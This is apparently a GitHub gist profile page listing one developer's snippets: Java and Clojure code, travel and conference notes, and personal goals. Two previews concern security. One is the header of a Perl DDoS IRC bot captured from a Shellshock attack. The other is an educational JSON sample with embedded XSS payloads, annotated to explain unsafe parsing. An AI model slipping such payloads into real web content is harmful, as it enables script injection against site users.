Skip to content

Instantly share code, notes, and snippets.

View tedpennings's full-sized avatar
🌱
Nurturing plants and code.

Ted Pennings tedpennings

🌱
Nurturing plants and code.
View GitHub Profile
@tedpennings
tedpennings / gist:6253541
Last active October 13, 2023 23:35
A very simple search implementation for Jackson JsonNodes using recursive DFS
private JsonNode searchForEntity(JsonNode node, String entityName) {
// A naive depth-first search implementation using recursion. Useful
// **only** for small object graphs. This will be inefficient
// (stack overflow) for finding deeply-nested needles or needles
// toward the end of a forest with deeply-nested branches.
if (node == null) {
return null;
}
if (node.has(entityName)) {
return node.get(entityName);
@tedpennings
tedpennings / routes.md
Last active April 6, 2020 18:28
A year of travel!

I spent six months traveling around the world with my partner Jen. It was one of the most fulfilling and exciting things I've ever done.

This document lists my route, December 2016 to May 2017.

Current status

I'm back in Portland, Oregon! I am so thankful for the opportunity to have spent six months traveling around the world while working remotely. It was one of the most fulfilling experiences of my life. I am back in Portland to stay and excited to call it home. I'm looking forward to re-establishing my yoga practice and getting in skydives toward by B license.

During my travels, I was able to visit thirteen countries: New Zealand, Australia, Indonesia, Taiwan, Malaysia, Thailand, India, Singapore, the United Arab Emirates, Egypt, Morocco, Spain and Canada. All but the last two were new experiences for me. Working while traveling permitted me to stay longer to get a feel for the local culture, and also gave me a feel for local life by requiring me to find wifi and cafes to work.

@tedpennings
tedpennings / Actual script
Last active March 8, 2020 19:52
Shellshock exploit attempt from the wild
# The Base 64 decoded version of that script -- contents begin on next line
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ###########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood
@tedpennings
tedpennings / places-to-go.md
Last active July 1, 2016 06:52
Places I want to go!

In the US

  • Crater Lake, Oregon
  • Hawaii
  • Austin, Texas
  • Marfa, Texas (art)
  • New York City

Canada

  • Vancouver, BC
  • Whistler
@tedpennings
tedpennings / roa2016.md
Last active April 6, 2016 23:09
Ruby on Ales notes 2016

Ruby on Ales 2016

Ted's notes (@thesleepyvegan)

Ruby on Ales schedule. Notes are in order from almost all the sessions. I didn't see Choices by Ernie Miller.

Twitternets: #roa2016

Open source survival guide

Mike Moore (@blowmage)

@tedpennings
tedpennings / 30before30.md
Last active February 7, 2016 19:33
30 before 30

30 in 30

I turn 30 in October. Here are some things I've always wanted to do but haven't done, or have fallen out of the habit of doing. I plan to do these things before 🍰 🎉

Personal

  • Begin a daily meditation practice
  • Read 30 books
  • Read a book in another language. In college, I studied up to various levels of reading competency in Spanish, German, Ancient Greek and French. I've let that knowledge go.
  • Establish a daily and weekly routine, waking up at a certain time, with time for chores and a somewhat-set “bedtime"
  • Volunteer
  • Go on a hike
@tedpennings
tedpennings / gist:4483687
Last active December 10, 2015 19:48
Two security primary concerns for JSON
{
"user":
{
"name": "Johnny Walker",
"occupation": "Distiller",
"location": (function() { alert("XSS 1!"); return "somewhere"})(),
"_location_comment": "Once parsed unsafely, the location XSS will run automatically, as a self-executing function. JSON.parse can help with this, and jQuery's $.parseJSON uses it by default (as do $.ajax, etc)",
"bio": "<script type='text/javascript'>alert('XSS 2!');</script>",
"_bio_comment": "This XSS will execute once it is added to the DOM, if not properly escaped before adding it. This is more of a persistent kind of XSS attack, typically from poor input validation on server side."
}
@tedpennings
tedpennings / gist:1435060
Created December 5, 2011 19:52
When people call Java a noisy language, they are talking about the following
private boolean parameterListsConflict(Map<String, String> map1,
Map<String, String> map2) {
if (map1.equals(map2)) {
return true;
}
if (map1.size() > map2.size()) {
return largerMapContainsAllEntriesInSmallerMap(map1, map2);
} else {
return largerMapContainsAllEntriesInSmallerMap(map2, map1);
}
@tedpennings
tedpennings / stm-demo.clj
Created November 30, 2011 06:27
STM demo
(ns stm-demo
(:import (java.util.concurrent TimeUnit Executors ScheduledExecutorService)))
;; concurrency basics
(def scheduler (Executors/newScheduledThreadPool 3))
scheduler
(class scheduler)
@tedpennings
tedpennings / gist:1372209
Created November 17, 2011 02:38
awful java hashtable implementation
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;